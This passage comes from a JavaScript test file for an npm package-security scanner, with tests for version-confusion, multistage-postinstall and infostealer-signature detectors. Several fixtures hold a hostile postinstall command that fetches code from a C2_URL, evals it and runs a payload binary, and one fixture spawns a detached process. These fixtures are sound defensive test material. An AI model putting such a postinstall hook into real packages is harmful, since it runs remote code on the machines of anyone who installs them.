|
+
const pkg = { name: 'corp-auth', version };
|
|
20
|
+
const findings = await detectors.runAll(pkg);
|
|
21
|
+
const match = findings.find(f => f.id === 'TIER1-VERSION-CONFUSION');
|
|
22
|
+
assert(match, `Expected finding for version ${version}`);
|
|
23
|
+
assert(match.confidenceScore >= 60, `confidenceScore ${match.confidenceScore} < 60 for version ${version}`);
|
|
24
|
+
}
|
|
25
|
+
});
|
|
26
|
+
|
|
27
|
+
test('D6a: no finding on legitimate semver', async () => {
|
|
28
|
+
const pkg = { name: 'lodash', version: '4.17.21' };
|
|
29
|
+
const findings = await detectors.runAll(pkg);
|
|
30
|
+
const match = findings.find(f => f.id === 'TIER1-VERSION-CONFUSION');
|
|
31
|
+
assert(!match);
|
|
32
|
+
});
|
|
33
|
+
|
|
34
|
+
test('D6a: no finding on KNOWN_REPUTABLE_PACKAGES regardless of version', async () => {
|
|
35
|
+
const pkg = { name: 'react', version: '99.99.99' };
|
|
36
|
+
const findings = await detectors.runAll(pkg);
|
|
37
|
+
const match = findings.find(f => f.id === 'TIER1-VERSION-CONFUSION');
|
|
38
|
+
assert(!match);
|
|
39
|
+
});
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
// ─── D6b — tier1-multistage-postinstall ──────────────────────────────
|
|
43
|
+
|
|
44
|
+
describe('D6b — tier1-multistage-postinstall', () => {
|
|
45
|
+
test('D6b: detects two-stage download + binary execution in postinstall', async () => {
|
|
46
|
+
const pkg = {
|
|
47
|
+
name: 'malicious-pkg',
|
|
48
|
+
version: '1.0.0',
|
|
49
|
+
scripts: {
|
|
50
|
+
postinstall: 'node -e "fetch(process.env.C2_URL).then(r=>r.text()).then(eval)" && execFile("./payload")',
|
|
51
|
+
},
|
|
52
|
+
};
|
|
53
|
+
const findings = await detectors.runAll(pkg);
|
|
54
|
+
const match = findings.find(f => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
|
|
55
|
+
assert(match, 'Expected TIER1-MULTISTAGE-POSTINSTALL finding');
|
|
56
|
+
assert.equal(match.confidence, 'HIGH');
|
|
57
|
+
assert(match.confidenceScore >= 80, `confidenceScore ${match.confidenceScore} < 80`);
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
test('D6b: detects detached background process spawn', async () => {
|
|
61
|
+
const pkg = {
|
|
62
|
+
name: 'persist-pkg',
|
|
63
|
+
version: '1.0.0',
|
|
64
|
+
scripts: {
|
|
65
|
+
postinstall: 'spawn("node", ["server.js"], { detached: true })',
|
|
66
|
+
},
|
|
67
|
+
};
|
|
68
|
+
const findings = await detectors.runAll(pkg);
|
|
69
|
+
const match = findings.find(f => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
|
|
70
|
+
assert(match, 'Expected TIER1-MULTISTAGE-POSTINSTALL finding');
|
|
71
|
+
assert(match.confidenceScore >= 75, `confidenceScore ${match.confidenceScore} < 75`);
|
|
72
|
+
});
|
|
73
|
+
|
|
74
|
+
test('D6b: no finding on clean build script', async () => {
|
|
75
|
+
const pkg = {
|
|
76
|
+
name: 'clean-pkg',
|
|
77
|
+
version: '1.0.0',
|
|
78
|
+
scripts: {
|
|
79
|
+
postinstall: 'node build.js',
|
|
80
|
+
},
|
|
81
|
+
};
|
|
82
|
+
const findings = await detectors.runAll(pkg);
|
|
83
|
+
const match = findings.find(f => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
|
|
84
|
+
assert(!match);
|
|
85
|
+
});
|
|
86
|
+
|
|
87
|
+
test('D6b: no duplicate finding when D3 already fires on same hook', async () => {
|
|
88
|
+
const pkg = {
|
|
89
|
+
name: 'dual-pkg',
|
|
90
|
+
version: '1.0.0',
|
|
91
|
+
scripts: {
|
|
92
|
+
postinstall: 'node -e "fetch(process.env.C2_URL).then(r=>r.text()).then(eval)" && execFile("./payload")',
|
|
93
|
+
},
|
|
94
|
+
};
|
|
95
|
+
const findings = await detectors.runAll(pkg);
|
|
96
|
+
const d6bMatches = findings.filter(f => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
|
|
97
|
+
assert(d6bMatches.length > 0, 'Expected at least one TIER1-MULTISTAGE-POSTINSTALL finding');
|
|
98
|
+
assert.equal(d6bMatches[0].id, 'TIER1-MULTISTAGE-POSTINSTALL');
|
|
99
|
+
assert(d6bMatches[0].id !== 'ATK-003');
|
|
100
|
+
});
|
|
101
|
+
});
|
|
102
|
+
|
|
103
|
+
// ─── D2 Miasma Signature ────────────────────────────────────────────
|
|
104
|
+
|
|
105
|
+
describe('D2 — named signature', () => {
|
|
106
|
+
test('D2 Miasma signature: detects "Miasma: The Spreading Blight" → CRITICAL', async () => {
|
|
107
|
+
const pkg = { name: 'test-pkg', version: '1.0.0' };
|
|
108
|
+
const jsFiles = [{ path: 'evil.js', content: 'const id = "Miasma: The Spreading Blight"; doEvil();' }];
|
|
109
|
+
const findings = await detectors.runAll(pkg, jsFiles, {}, []);
|
|
110
|
+
const match = findings.find(f => f.id === 'TIER1-INFOSTEALER');
|
|
111
|
+
assert(match, 'Expected TIER1-INFOSTEALER finding from Miasma signature');
|
|
112
|
+
assert.equal(match.confidence, 'CRITICAL');
|
|
113
|
+
assert.equal(match.confidenceScore, 98);
|
|
114
|
+
assert(match.evidence.some(e => e.includes('Miasma: The Spreading Blight')), 'evidence should contain the signature string');
|
|
115
|
+
});
|
|
116
|
+
});
|